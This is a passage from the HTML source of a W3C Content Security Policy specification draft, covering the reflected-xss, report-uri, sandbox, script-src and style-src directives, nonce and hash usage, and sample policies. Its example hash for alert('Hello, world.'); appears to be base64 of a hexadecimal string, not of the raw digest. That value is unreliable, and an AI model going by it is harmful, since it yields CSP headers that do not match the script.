attacks. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"reflected-xss\"\ndirective-value   = \"allow\" / \"block\" / \"filter\"\n</pre>\n\n<p>A user agent with support for XSS protection MUST enforce this\n    directive as follows:</p>\n\n    <ul>\n      <li>If the value of the directive is <code>allow</code>, the user\n      agent MUST disable its active protections against reflected cross-site\n      scripting attacks for the protected resource.</li>\n\n      <li>If the value of the directive is <code>filter</code>, the user\n      agent MUST enable its active protections against reflected cross-site\n      scripting attacks for the protected resource. This might result in\n      filtering script that is believed to be reflected being filtered or\n      selectively blocking script execution.</li>\n\n      <li>If the value of the directive is <code>block</code>, the user\n      agent MUST stop rendering the protected resource upon detection of\n      reflected script, and instead act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a\n      violation</a>:\n    </ul>\n\n<p>If the user agent’s active protections against reflected cross-site\n    scripting attacks detect or prevent script execution, the user agent\n    MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</p>\n\n<p class=note>Note: The <code>reflected-xss</code> directive will be ignored if\n    contained within a\n    <a href=#delivery-html-meta-element><code>meta</code> element</a>.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.14.1 id=reflected-xss-and-x-xss-protection><span class=secno>7.14.1 </span><span class=content>\n        Relationship to <code>X-XSS-Protection</code>\n      </span><a class=self-link href=#reflected-xss-and-x-xss-protection></a></h4>\n\n<p>This directive is meant to subsume the functionality provided by\n      the proprietary <code>X-XSS-Protection</code> HTTP header which is\n      supported by a number of user agents. Roughly speaking:</p>\n\n      <ul>\n        <li><code>reflected-xss allow</code> is equivalent to\n        <code>X-XSS-Protection: 0</code></li>\n        <li><code>reflected-xss filter</code> is equivalent to\n        <code>X-XSS-Protection: 1</code></li>\n        <li><code>reflected-xss block</code> is equivalent to\n        <code>X-XSS-Protection: 1; mode=block</code></li>\n      </ul>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.15 id=directive-report-uri><span class=secno>7.15 </span><span class=content><code>report-uri</code></span><a class=self-link href=#directive-report-uri></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=report-uri>report-uri<a class=self-link href=#report-uri></a></dfn></code> directive specifies a URI to\n    which the user agent sends reports about policy violation. The syntax\n    for the name and value of the directive are described by the following\n    ABNF grammar:</p>\n\n    <pre>directive-name    = \"report-uri\"\ndirective-value   = <a data-link-type=dfn href=#uri-reference title=uri-reference>uri-reference</a> *( 1*WSP <a data-link-type=dfn href=#uri-reference title=uri-reference>uri-reference</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=uri-reference>uri-reference<a class=self-link href=#uri-reference></a></dfn>     = &lt;URI-reference from RFC 3986&gt;\n</pre>\n\n<p>The <dfn data-dfn-type=dfn data-noexport=\"\" id=set-of-report-uris>set of report URIs<a class=self-link href=#set-of-report-uris></a></dfn> is the value of the\n    <code>report-uri</code> directive, each resolved relative to the\n    protected resource’s URI.</p>\n\n<p>The process of sending violation reports to the URIs specified in\n    this directive’s value is defined in this document’s\n    <a data-section=\"\" href=#violation-reports>§4.4 Reporting</a> section.</p>\n\n<p class=note>Note: The <code>report-uri</code> directive will be ignored if contained\n    within a <a href=#delivery-html-meta-element><code>meta</code>\n    element</a>.</p>\n  </section>\n  <section>\n    <h3 class=\"heading settled\" data-level=7.16 id=directive-sandbox><span class=secno>7.16 </span><span class=content><code>sandbox</code></span><a class=self-link href=#directive-sandbox></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=sandbox>sandbox<a class=self-link href=#sandbox></a></dfn></code> directive specifies an HTML\n    sandbox policy that the user agent applies to the protected resource.\n    The syntax for the name and value of the directive are described by\n    the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"sandbox\"\ndirective-value   = \"\" / sandbox-token *( 1*WSP <a data-link-type=dfn href=#sandbox-token title=sandbox-token>sandbox-token</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=sandbox-token>sandbox-token<a class=self-link href=#sandbox-token></a></dfn>     = &lt;token from RFC 7230&gt;\n</pre>\n\n<p>When enforcing the <code>sandbox</code> directive, the user agent\n    MUST <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive title=\"parse a sandboxing directive\">parse a sandboxing directive</a> using the\n    <code>directive-value</code> as the <em>input</em> and protected\n    resource’s <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set title=\"forced sandboxing flag set\">forced sandboxing flag set</a>\n    as the output. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-HTML5>[HTML5]</a></p>\n\n<p class=note>Note: The <code>sandbox</code> directive will be ignored when\n    <a data-link-type=dfn href=#monitor title=monitoring>monitoring</a> a policy, and when contained in a policy defined via a\n    <a href=#delivery-html-meta-element><code>meta</code> element</a>.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.16.1 id=sandbox-usage><span class=secno>7.16.1 </span><span class=content>Usage</span><a class=self-link href=#sandbox-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n      <p>HTML5 defines a <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-sandbox title=sandbox>sandbox</a></code> attribute for\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> elements, intended to allow web authors\n      to reduce the risk of including potentially untrusted content by imposing\n      restrictions on that content’s abilities. When the attribute is set,\n      the content is forced into a unique origin, prevented from submitting\n      forms, running script, creating or navigating other browsing contexts,\n      and prevented from running plugins. These restrictions can be loosened\n      by setting certain flags as the attribute’s value.\n\n<p>The <code>sandbox</code> directive allows any resource, framed or\n      not, to ask for the same sorts of restrictions to be applied to\n      itself.</p>\n\n<p>For example, a message board or email system might provide\n      downloads of arbitrary attachments provided by other users. Attacks\n      that rely on tricking a client into rendering one of these attachments\n      could be mitigated by requesting that resources only be rendered in a\n      very restrictive sandbox. Sending the <code>sandbox</code> directive\n      with an empty value establishes such an environment:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#sandbox title=sandbox>sandbox</a></pre>\n\n<p>More trusted resources might be allowed to run in an environment\n      with fewer restrictions by adding <code>allow-*</code> flags to the\n      directive’s value. For example, you can allow a page that you trust\n      to run script, while ensuring that it isn’t treated as same-origin\n      with the rest of your site. This can be accomplished by sending the\n      <code>sandbox</code> directive with the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts title=allow-scripts>allow-scripts</a></code> flag:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#sandbox title=sandbox>sandbox</a> <a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts title=allow-scripts>allow-scripts</a></pre>\n\n<p>The set of flags available to the CSP directive should match those\n      available to the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> attribute.\n      Currently, those include:</p>\n\n      <ul>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-forms title=allow-forms>allow-forms</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-pointer-lock title=allow-pointer-lock>allow-pointer-lock</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-popups title=allow-popups>allow-popups</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin title=allow-same-origin>allow-same-origin</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts title=allow-scripts>allow-scripts</a></code>, and</li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-top-navigation title=allow-top-navigation>allow-top-navigation</a></code></li>\n      </ul>\n\n<p class=note>Note: Like the rest of Content Security Policy, the <code>sandbox</code>\n      directive is meant as a defense-in-depth. Web authors would be well-served\n      to use it <em>in addition to</em> standard sniffing-mitigation and\n      privilege-reduction techniques.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.17 id=directive-script-src><span class=secno>7.17 </span><span class=content><code>script-src</code></span><a class=self-link href=#directive-script-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=script-src>script-src<a class=self-link href=#script-src></a></dfn></code> directive restricts which scripts the\n    protected resource can execute. The directive also controls other resources,\n    such as XSLT style sheets <a data-biblio-type=normative data-link-type=biblio href=#biblio-xslt title=biblio-XSLT>[XSLT]</a>, which can cause the user agent to\n    execute script. The syntax for the name and value of the directive are\n    described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"script-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-script-sources>allowed script sources<a class=self-link href=#allowed-script-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>script-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>script-src</code>, or otherwise to the <a data-link-type=dfn href=#default-sources title=\"default sources\">default\n    sources</a>.</p>\n\n<p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>, or if at least one\n    <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> or <code><a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a></code> is\n    present in the list of <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>:</p>\n\n    <ul>\n      <li>Whenever the user agent would execute an inline script from a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> element that lacks a <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a>\n      <em>and</em> lacks a <a data-link-type=dfn href=#valid-hash title=\"valid hash\">valid hash</a> for the <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script\n      sources</a>, instead the user agent MUST NOT execute script, <em>and</em>\n      MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n\n      <li>Whenever the user agent would execute an inline script from an\n      inline event handler, instead the user agent MUST NOT execute script,\n      <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n\n      <li>Whenever the user agent would execute script contained in a\n      <code>javascript</code> URI, instead the user agent MUST NOT execute\n      the script, <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n    </ul>\n\n<p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script\n    sources</a>:</p>\n\n    <ul>\n      <li>Instead of evaluating their arguments, both operator\n      <code>eval</code> and function <code>eval</code> <a data-biblio-type=normative data-link-type=biblio href=#biblio-ecma-262 title=biblio-ECMA-262>[ECMA-262]</a>\n      MUST throw an <code>EvalError</code> exception.</li>\n\n      <li>When called as a constructor, the function <code>Function</code>\n      <a data-biblio-type=normative data-link-type=biblio href=#biblio-ecma-262 title=biblio-ECMA-262>[ECMA-262]</a> MUST throw an <code>EvalError</code> exception.</li>\n\n      <li>When called with a first argument that is not <a data-link-type=dfn href=#callable title=callable>callable</a> (a\n      string, for example), the\n      <code><a class=idl-code data-link-for=WindowTimers data-link-type=method href=http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-settimeout title=setTimeout()>setTimeout()</a></code> function MUST\n      return zero without creating a timer.</li>\n\n      <li>When called with a first argument that is not <a data-link-type=dfn href=#callable title=callable>callable</a> (a\n      string, for example), the\n      <code><a class=idl-code data-link-for=WindowTimers data-link-type=method href=http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-setinterval title=setInterval()>setInterval()</a></code> function MUST\n      return zero without creating a timer.</li>\n    </ul>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI (including when following redirects)\n    in the course of one of the following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting a script while processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute\n      of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> element that lacks a\n      <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a> for the <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>.</li>\n\n      <li>Requesting a script while invoking the <code>importScripts</code>\n      method on a WorkerGlobalScope object. <a data-biblio-type=normative data-link-type=biblio href=#biblio-workers title=biblio-WORKERS>[WORKERS]</a></li>\n\n      <li>Requesting an HTML component, such as\n      when processing the <code>href</code> attribute of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code>\n      element with a <code>rel</code> attribute containing the token\n      <code>import</code>. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html-imports title=biblio-HTML-IMPORTS>[HTML-IMPORTS]</a></li>\n\n      <li>Requesting an Extensible Stylesheet Language Transformations\n      (XSLT) <a data-biblio-type=normative data-link-type=biblio href=#biblio-xslt title=biblio-XSLT>[XSLT]</a>, such as when processing the\n      <code>&lt;?xml-stylesheet?&gt;</code> processing directive in an XML\n      document <a data-biblio-type=normative data-link-type=biblio href=#biblio-xml11 title=biblio-XML11>[XML11]</a>, the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-base-href title=href>href</a></code> attributes\n      on <code>&lt;xsl:include&gt;</code> and <code>&lt;xsl:import&gt;</code>\n      elements.</li>\n    </ul>\n\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.17.1 id=script-src-nonce-usage><span class=secno>7.17.1 </span><span class=content>\n        Nonce usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements\n      </span><a class=self-link href=#script-src-nonce-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive lets developers specify\n      exactly which script elements on a page were intentionally included\n      for execution. Ideally, developers would avoid inline script entirely\n      and whitelist scripts by URL. However, in some cases, removing inline\n      scripts can be difficult or impossible. For those cases, developers can\n      whitelist scripts using a randomly generated nonce.</p>\n\n<p>Usage is straightforward. For <em>each</em> request, the server\n      generates a unique value at random, and includes it in the\n      <code>Content-Security-Policy</code> header:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self';\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n</pre>\n\n<p>This same value is then applied as a <code>nonce</code> attribute\n      to each <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> element that ought to be\n      executed. For example, if the server generated the random value\n      <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,  the server would send the\n      following policy:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self';\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n</pre>\n\n<p>Script elements can then execute either because their\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> URLs are whitelisted or because\n      they have a <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a>:</p>\n\n      <pre>&lt;script&gt;\nalert(\"Blocked because the policy doesn’t have 'unsafe-inline'.\")\n&lt;/script&gt;\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"&gt;\nalert(\"Still blocked because nonce is wrong.\")\n&lt;/script&gt;\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"&gt;\nalert(\"Allowed because nonce is valid.\")\n&lt;/script&gt;\n&lt;script src=\"https://example.com/allowed-because-of-src.js\"&gt;&lt;/script&gt;\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n    src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\"&gt;&lt;/script&gt;\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n    src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\"&gt;&lt;/script&gt;\n</pre>\n\n<p>Note that the nonce’s value is <em>not</em> a hash or signature\n      that verifies the contents of the script resources. It’s quite simply\n      a random string that informs the user agent which scripts were\n      intentionally included in the page.</p>\n\n<p>Script elements with the proper nonce execute, regardless of\n      whether they’re inline or external. Script elements without the\n      proper nonce don’t execute unless their URLs are whitelisted.\n      Even if an attacker is able to inject markup into the protected\n      resource, the attack will be blocked by the attacker’s inability\n      to guess the random value.</p>\n    </section>\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.17.2 id=script-src-hash-usage><span class=secno>7.17.2 </span><span class=content>\n        Hash usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements\n      </span><a class=self-link href=#script-src-hash-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive lets developers whitelist a\n      particular inline script by specifying its hash as an allowed source\n      of script.</p>\n\n<p>Usage is straightforward. The server computes the hash of a\n      particular script block’s contents, and includes the base64 encoding\n      of that value in the <code>Content-Security-Policy</code> header:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self';\n                         <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n</pre>\n\n<p>Each inline script block’s contents are hashed, and compared against\n      the whitelisted value. If there’s a match, the script is executed. For\n      example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n      <code>YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo=</code>.\n      If the server sent the following header:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'sha256-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n</pre>\n\n<p>Then the following script tag would result in script execution:</p>\n\n      <pre>&lt;script&gt;alert('Hello, world.');&lt;/script&gt;\n</pre>\n\n<p>Whitespace is significant. The following scripts blocks would not hash to\n      the same value, and would therefore <em>not</em> execute:</p>\n\n      <pre>&lt;script&gt; alert('Hello, world.');&lt;/script&gt;\n&lt;script&gt;alert('Hello, world.'); &lt;/script&gt;\n&lt;script&gt; alert('Hello, world.'); &lt;/script&gt;\n&lt;script&gt;\nalert('Hello, world.');\n&lt;/script&gt;\n</pre>\n\n<p>Note also that the hash applies <em>only</em> to inline script. An\n      externalized script containing the value\n      <code>alert('Hello, world.');</code> would <em>not</em> execute if its\n      origin was not whitelisted as a valid source of script.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.18 id=directive-style-src><span class=secno>7.18 </span><span class=content><code>style-src</code></span><a class=self-link href=#directive-style-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=style-src>style-src<a class=self-link href=#style-src></a></dfn></code> directive restricts which styles the\n    user may applies to the protected resource. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"style-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-style-sources>allowed style sources<a class=self-link href=#allowed-style-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>style-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>style-src</code>, or otherwise to the <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>, or if at least one\n    <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> or <code><a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a></code>\n    is present in the list of <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>:</p>\n\n    <ul>\n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> element that lacks a\n      <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a> <em>and</em> lacks a <a data-link-type=dfn href=#valid-hash title=\"valid hash\">valid hash</a> for the\n      <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>, instead the user agent <code>MUST</code>\n      ignore the style, <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n\n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> attribute, instead the user agent\n      <code>MUST</code> ignore the style, <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a\n      violation</a>.</li>\n    </ul>\n\n<p class=note>Note: These restrictions on inline do not prevent the user agent\n    from applying style from an external stylesheet (e.g., found via\n    <code>&lt;link rel=\"stylesheet\" ...&gt;</code>).</p>\n\n<p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style\n    sources</a>, then:</p>\n\n    <ul>\n      <li>Whenever the user agent would invoke the Cascading Style Sheets\n      Object Model algorithms\n      <a data-link-spec=CSSOM data-link-type=dfn href=http://www.w3.org/TR/cssom/#insert-a-css-rule title=\"insert a CSS rule\">insert a CSS rule</a>, <a data-link-spec=CSSOM data-link-type=dfn href=http://www.w3.org/TR/cssom/#parse-a-css-rule title=\"parse a CSS rule\">parse a CSS rule</a>,\n      <a data-link-spec=CSSOM data-link-type=dfn href=http://www.w3.org/TR/cssom/#parse-a-css-declaration-block title=\"parse a CSS declaration block\">parse a CSS declaration block</a>, or\n      <a data-link-spec=CSSOM data-link-type=dfn href=http://www.w3.org/TR/cssom/#parse-a-group-of-selectors title=\"parse a group of selectors\">parse a group of selectors</a>\n      instead the user agent MUST throw a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#securityerror title=SecurityError>SecurityError</a>\n      exception <em>and</em> terminate the algorithm. This would include,\n      for example, all invocations of CSSOM’s various <code>cssText</code>\n      setters and <code>insertRule</code> methods. <a data-biblio-type=normative data-link-type=biblio href=#biblio-cssom title=biblio-CSSOM>[CSSOM]</a> <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-HTML5>[HTML5]</a></li>\n    </ul>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-style-sources title=\"allowed style sources\">allowed style sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting external style sheets, such as when processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-base-href title=href>href</a></code> attribute of a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code> element with a\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel title=rel>rel</a></code> attribute containing the token\n      <code>stylesheet</code> or when processing the <a class=\"production css\" data-link-type=at-rule href=http://www.w3.org/TR/css-cascade-3/#at-ruledef-import title=@import>&lt;@import&gt;</a>\n      directive in a stylesheet.</li>\n      \n    </ul>\n\n<p class=note>Note: The <code>style-src</code> directive does not restrict the\n    use of XSLT. XSLT is restricted by the <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code>\n    directive because the security consequences of including an untrusted\n    XSLT stylesheet are similar to those incurred by including an\n    untrusted script.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.18.1 id=style-src-nonce-usage><span class=secno>7.18.1 </span><span class=content>\n        Nonce usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements\n      </span><a class=self-link href=#style-src-nonce-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>See the <a href=#script-src-nonce-usage><code>script-src</code>\n      nonce usage information</a> for detail; the application of nonces\n      to <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n    </section>\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.18.2 id=style-src-hash-usage><span class=secno>7.18.2 </span><span class=content>\n        Hash usage for <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements\n      </span><a class=self-link href=#style-src-hash-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>See the <a href=#script-src-hash-usage><code>script-src</code>\n      hash usage information</a> for detail; the application of hashes\n      to <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n    </section>\n  </section>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=8 id=examples><span class=secno>8 </span><span class=content>Examples</span><a class=self-link href=#examples></a></h2>\n\n  <section class=informative>\n    <h3 class=\"heading settled\" data-level=8.1 id=example-policies><span class=secno>8.1 </span><span class=content>Sample Policy Definitions</span><a class=self-link href=#example-policies></a></h3>\n\n<p>This section provides some sample use cases and supporting <a data-link-type=dfn href=#security-policy title=policies>policies</a>.</p>\n\n    <div class=example>\n      A server wishes to load resources only from its own origin:\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'</pre>\n    </div>\n\n    <div class=example>\n      An auction site wishes to load images from any URI, plugin content from a\n      list of trusted media providers (including a content distribution network),\n      and scripts only from a server under its control hosting sanitized\n      ECMAScript:\n\n      <pre>Content-Security-Policy:\n    <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'; img-src *;\n    <a data-link-type=dfn href=#object-src title=object-src>object-src</a> media1.example.com media2.example.com *.cdn.example.com;\n    <a data-link-type=dfn href=#script-src title=script-src>script-src</a> trustedscripts.example.com\n</pre>\n    </div>\n\n    <div class=example>\n      An online banking site wishes to ensure that all of the content in its pages\n      is loaded over TLS to prevent attackers from eavesdropping on insecure\n      content requests:\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> https: 'unsafe-inline' 'unsafe-eval'</pre>\n\n<p>This policy allows inline content (such as inline\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements), use of <code>eval</code>,\n      and loading resources over <code>https</code>. Note: This policy does\n      not provide any protection from cross-site scripting vulnerabilities.</p>\n    </div>\n\n    <div class=example>\n      A website that relies on inline <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements\n      wishes to ensure that script is only executed from its own origin, and those\n      elements it intentionally inserted inline:\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#script-src title=script-src>script-src</a> 'self' 'nonce-<em>$RANDOM</em>';</pre>\n\n<p>The inline <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements would then only\n      execute if they contained a matching <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code>\n      attribute:</p>\n\n<pre>&lt;script nonce=\"<em>$RANDOM</em>\"&gt;...&lt;/script&gt;</pre>\n    </div>\n  </section>\n\n  <section class=informative>\n    <h3 class=\"heading settled\" data-level=8.2 id=example-violation-report><span class=secno>8.2 </span><span class=content>Sample Violation Report</span><a class=self-link href=#example-violation-report></a></h3>\n\n<p>This section contains an example violation report the user agent\n    might sent to a server when the protected resource violations a sample\n    policy.</p>\n\n<p>In the following example, the user agent rendered a representation\n    of the resource <code>http://example.org/page.html</code> with the\n    following 